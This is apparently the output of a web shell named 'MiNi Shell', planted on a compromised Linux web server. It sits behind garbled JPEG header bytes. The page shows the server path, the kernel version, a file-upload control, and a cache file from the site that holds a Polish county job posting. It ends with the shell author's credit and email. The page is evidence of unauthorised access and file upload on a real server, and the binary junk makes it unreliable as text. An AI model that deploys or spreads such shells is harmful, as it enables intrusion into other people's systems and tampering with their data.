JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/8a/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/8a/8a4781488ec2d10deb7bd80b166f0b00.bin

a:2:{i:0;a:2:{i:0;s:13289:"  
            
                        
            <div class="header -portal-color portal-light-background">
                <h2 class="portal-border">Oferta pracy</h2>
            </div>   
            
          
            <div class="row">
                <div class="col-xs-12" itemscope itemtype="http://schema.org/JobPosting">
                    <h1 class="title" itemprop="title" style="font-size:24px;">MŁODSZY REFERENT LUB REFERENT LUB PODINSPEKTOR LUB INSPEKTOR W WYDZIALE GOSPODARKI NIERUCHOMOŚCIAMI</h1>
                                        <p class="subtitle">
                        <span class="glyphicon glyphicon-map-marker" aria-hidden="true"></span> 
                        <strong itemprop="jobLocation" itemscope itemtype="http://schema.org/Place">
                            <span itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                                <span itemprop="addressLocality">Pruszcz Gdański</span>, <span itemprop="addressRegion">pomorskie, Polska</span>
                                <span itemprop="postalCode"> </span><span itemprop="streetAddress"> </span>
                            </span>
                        </strong>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong>Dodano: </strong>
                        <strong>2025-07-18</strong>
                        <!--span itemprop="datePosted" class="hide">2025-07-18</span-->
                        <strong> | ID oferty: 2568460</strong>
                        <meta itemprop="hiringOrganization" content="Centralna Baza Ofert Pracy">
                        <meta itemprop="datePosted" content="2025-07-18">
                        <meta itemprop="validThrough" content="2025-09-16">
                        <meta itemprop="employmentType" content="umowa">
                                            </p>
                    
                    <div class="lorem overflow" itemprop="description">
                        <div><p>Numer oferty:  StPr/25/5713</p><br />Obowiązki:<p>1. Prowadzenie spraw związanych z gospodarowaniem zasobem nieruchomości Skarbu Państwa oraz powiatowym zasobem nieruchomości,<br />2. Prowadzenie spraw i postępowań z zakresu użytkowania wieczystego i trwałego zarządu,<br />3. Prowadzenie postępowań administracyjnych m.in. o ustalenie wypłaty odszkodowań za grunty przejęte z mocy prawa pod drogi publiczne; o zwrot nieruchomości wywłaszczonych; o przekształcenie prawa użytkowania wieczystego w prawo własności; o ograniczenie prawa własności do nieruchomości i innych spraw i postępowań wskazanych w Regulaminie Organizacyjnym Starostwa Powiatowego w Pruszczu Gdańskim, <br />4. Prowadzenie spraw związanych z obrotem nieruchomościami, w tym: sprzedażą, nabywaniem i nieodpłatnym przekazywaniem nieruchomości; oddawaniem w dzierżawę, trwały zarząd; ustanawianiem służebności przechodu i przejazdu, itp.,<br />5. Przygotowywanie i redagowanie pism, wniosków, zawiadomień, zaświadczeń, decyzji administracyjnych, umów o charakterze cywilno-prawnym i innych dokumentów - na potrzeby prowadzonych spraw lub postępowań,<br />6. Prowadzenie telefonicznego, jak i bezpośredniego kontaktu z petentem, instytucjami publicznymi oraz podmiotami prywatnymi, <br />7. Przeprowadzanie oględzin nieruchomości na potrzeby prowadzonych spraw i postępowań.<br /><br />Praca od poniedziałku do piątku, w zakresie godzin 7:30-16:30.</p><br /><br />Wymagania:<p></p>Wymagania konieczne:<p>Wykształcenie:</p><ul><li>średnie ogólnokształcące, administracyjne</li></ul><br />Wymagania dodatkowe:<p>Umiejętności i uprawnienia:</p><ul><li>prawo jazdy kat. B</li></ul><br /><p>Pozostałe wymagania:</p><ul><li>młodszy referent:- wykształcenie: minimum średnie związane z administracją.Referent:- wykształcenie: minimum średnie związane z administracją; - staż pracy: minimum 1 rok w administracji publicznej. Podinspektor:- wykształcenie: wyższe, o kierunku: administracja, prawo, zarządzanie nieruchomościami, gospodarka przestrzenna lub wyższe inne pod warunkiem min. 3 letniego doświadczenia w pracy w zakresie gospodarowania nieruchomościami w administracji publicznej;- staż pracy: minimum 3 lata stażu pracy w administracji publicznej lub w obszarze gospodarki nieruchomościami. Inspektor:- wykształcenie: wyższe, o kierunku: administracja, prawo, zarządzanie nieruchomościami, gospodarka przestrzenna lub wyższe inne pod warunkiem min. 5 letniego doświadczenia w pracy w zakresie gospodarowania nieruchomościami w administracji publicznej;- staż pracy: minimum 5 lat stażu pracy w administracji publicznej lub w obszarze gospodarki nieruchomościami, - znajomość przepisów w zakresie gospodarowania nieruchomościami, w szczególności:a) ustawy o gospodarce nieruchomościami,b) ustawy o zasadach zarządzania mieniem państwowym,c) ustawy Kodeks postępowania administracyjnego,d) ustawy Kodeks cywilny, ustawy o księgach wieczystych i hipotece,- obsługa komputera oraz znajomość narzędzi pakietu Office, - osoba niebędąca skazana prawomocnym wyrokiem sądowym za umyślne przestępstwo ścigane z oskarżenia publicznego lub umyślne przestępstwo skarbowe,- kandydat musi posiadać obywatelstwo polskie lub być obywatelem Unii Europejskiej lub innego państwa, któremu na podstawie umów międzynarodowych lub przepisów prawa wspólnotowego przysługuje prawo do podjęcia zatrudnienia na terytorium Rzeczypospolitej Polskiej, musi posiadać znajomość języka polskiego potwierdzoną dokumentem określonym w przepisach o służbie cywilnej,- pełna zdolność do czynności prawnych, kandydat powinien cieszyć się nieposzlakowaną opinią oraz korzystać z pełni praw publicznych, posiadać stan zdrowia pozwalający na zatrudnienie na wyżej wymienionym stanowisku.Wymagania dodatkowe:- doświadczenie w pracy z programem TurboEwid lub podobnym,- umiejętność redagowania pism i analitycznego myślenia,- umiejętność podejmowania decyzji i pracy pod wpływem stresu,- zdolność planowania i organizacji pracy własnej,- samodzielność w prowadzeniu powierzonych spraw,- systematyczność, rzetelność, sumienność, skrupulatność, uprzejmość,- prawo jazdy kat. B.</li></ul><br /><br /><p>Miejsce pracy: Wojska Polskiego 16, 83-000 Pruszcz Gdański, powiat: gdański, woj: pomorskie</p><p>Rodzaj umowy: Umowa o pracę na czas określony</p><p>Wymagane dokumenty: - list motywacyjny oraz informacje (np. CV), o których mowa w art. 221 ustawy z dnia 26 czerwca 1974 r. Kodeks pracy tj. imię (imiona) i nazwisko, datę urodzenia, dane kontaktowe, wykształcenie, kwalifikacje zawodowe, przebieg dotychczasowego zatrudnienia,- dokumenty poświadczające wykształcenie,- dokumenty potwierdzające wymagany staż pracy,- aktualne oświadczenie kandydata o korzystaniu z pełni praw publicznych,- aktualne oświadczenie kandydata o nieskazaniu prawomocnym wyrokiem sądu za umyślne przestępstwo ścigane z oskarżenia publicznego lub umyśle przestępstwo skarbowe,- inne dodatkowe dokumenty o posiadanych kwalifikacjach i umiejętnościach,- zgoda na przetwarzanie danych osobowych podanych dobrowolnie oraz oświadczenie o zapoznaniu się z klauzulą informacyjną dotyczącą przetwarzania danych osobowych w Starostwie Powiatowym w Pruszczu Gdańskim zgodnie z załącznikiem do ogłoszenia,- oświadczenie o treści: Zapoznałem/-ałam się z Zarządzeniem nr 83/2024 Starosty Powiatu Gdańskiego z dnia 17 września 2024 r. w sprawie ustalenia Wewnętrznej procedury dokonywania zgłoszeń naruszeń prawa i podejmowania działań następczych w Starostwie Powiatowym w Pruszczu Gdańskim zamieszczonym na stronie BIP Powiatu Gdańskiego,- kandydat, który zamierza skorzystać z uprawnienia, o którym mowa w art. 13a ust. 2 ustawy z dnia 21 listopada 2008 r. o pracownikach samorządowych, jest zobowiązany do złożenia wraz z dokumentami kopii dokumentu potwierdzającego niepełnosprawność.Osoby zainteresowane prosimy o składanie wymaganych dokumentów osobiście lub pocztą na adres Starostwa Powiatowego w Pruszczu Gdańskim z dopiskiem:"Dotyczy naboru na stanowisko urzędnicze  młodszy referent lub referent lub podinspektor lub inspektor w Wydziale Gospodarki Nieruchomościami w Starostwie Powiatowym w Pruszczu Gdańskim  Ogłoszenie Nr 22/2025" w terminie do 28.07.2025 r.Dokumenty, które wpłyną do Starostwa Powiatowego w Pruszczu Gdańskim po w/w terminie nie będą rozpatrywane.W przypadku dostarczenia danych osobowych innych niż wymagane w ogłoszeniu oraz niezałączeniu oświadczenia o wyrażeniu zgody na przetwarzanie tych danych osobowych, będą one zniszczone. Osoby ubiegające się o zatrudnienie mają prawo do dostępu do podanych dobrowolnie swoich danych osobowych oraz ich poprawiania.Osoby spełniające wymagania formalne określone w ogłoszeniu zostaną powiadomione telefonicznie o terminie i miejscu ewentualnego kolejnego etapu rekrutacji. Osoby, które nie spełniają wymagań formalnych, nie będą informowane.Informacja o wyniku naboru będzie umieszczona na stronie internetowej Biuletynu Informacji Publicznej www.powiat-gdanski.biuletyn.net oraz na tablicy ogłoszeń Starostwa Powiatowego w Pruszczu Gdańskim ul. Wojska Polskiego 16.Dokumenty kandydata wybranego w naborze i zatrudnionego w Starostwie Powiatowym zostaną dołączone do jego akt osobowych.Dokumenty pozostałych kandydatów będą przechowywane w kadrach Starostwa przez okres 1 miesiąca od dnia upowszechnienia informacji o wynikach naboru. W okresie tym, kandydaci będą mogli dokonywać odbioru swoich dokumentów. Starostwo Powiatowe nie odsyła dokumentów kandydatom. Po upływie okresu 1 miesiąca od dnia upowszechnienia informacji o wynikach naboru, nieodebrane przez kandydatów dokumenty zostaną zniszczone.Więcej informacji na stronie:https://biuletyn.net/powiat-gdanski/?bip=2&amp;cid=34&amp;id=12781</p><p>Sposób aplikowania: bezpośrednio do pracodawcy</p><br /><p>Kliknij przycisk Aplikuj, aby poznać szczegóły oferty</p></div>                    </div>
                    
                </div>
                
                                <div class="col-xs-12"><div class="portal-light-background p1em mb1">
                    <strong>Kontakt w sprawie rekrutacji:</strong>
                    <p class="pt05">Jeżeli jesteś zainteresowana(y) ofertą pracy skontaktuj się z nami na poniższe dane. Przesyłając do nas swoje CV prosimy zawrzeć klauzule o zgodzie na przetwarzanie danych w celu rekrutacji.</p>
                    <h4 class="l15">
                        Centralna Baza Ofert Pracy<br>                                                                        <a href="https://www.infopraca.pl/praca/mlodszy-referent-lub-referent-lub-podinspektor-lub-inspektor-w-wydziale-gospodarki-nieruchomosciami/pruszcz-gdanski/18056665" target="_blank" rel="nofollow">Źródło oferty</a><br>                    </h4>
                    </div></div>
                                
                <div class="col-xs-12" itemprop="manufacturer" itemscope itemtype="http://schema.org/Organization">
                
                                        <span class="strong portal-color">Skontaktuj się z firmą:</span>
                        <hr class="mhr">
                        <div class="block-table" style="width:100%;">
                            <div class="block-row">
                                <p class="subtitle">
                                    <b itemprop="name">Centralna Baza Ofert Pracy</b><br>
                                </p>
                            </div>
                            <div class="block-row">
                                <div itemprop="address" itemscope itemtype="http://schema.org/PostalAddress">
                                    <span itemprop="addressLocality">Pruszcz Gdański</span>                                    pomorskie                                </div>
                            </div>
                            <hr class="mhr">
                                                            <div class="block-row">
                                    <strong class="strong portal-color">Dane kontaktowe:</strong>
                                </div>
                                <div class="block-row">                                            
                                    <p>
                                                                                                                        <a href="https://www.infopraca.pl/praca/mlodszy-referent-lub-referent-lub-podinspektor-lub-inspektor-w-wydziale-gospodarki-nieruchomosciami/pruszcz-gdanski/18056665" rel="nofollow noopener noreferrer" itemprop="url">https://www.infopraca.pl/praca/mlodszy-referent-lub-referent-lub-podinspektor-lub-inspektor-w-wydziale-gospodarki-nieruchomosciami/pruszcz-gdanski/18056665</a><br>                                    </p>
                                </div>   
                                <hr class="mhr">
                                                    
                        </div>
                                </div>
            </div>
            
            ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:3:{i:0;s:10:"job_offers";i:1;s:17:"job_offer_2568460";i:2;s:36:"job_offers_categories_tree_portal_43";}s:4:"data";a:3:{s:32:"098cae0d2a7a67a9c24ff28841178bdd";s:21:"0.30215900 1745851695";s:32:"699dc05630b08a0fd94cce99bc970e68";s:21:"0.62915000 1752891162";s:32:"911e00cd2ae397c285460ae387b95532";s:21:"0.20208400 1745853263";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com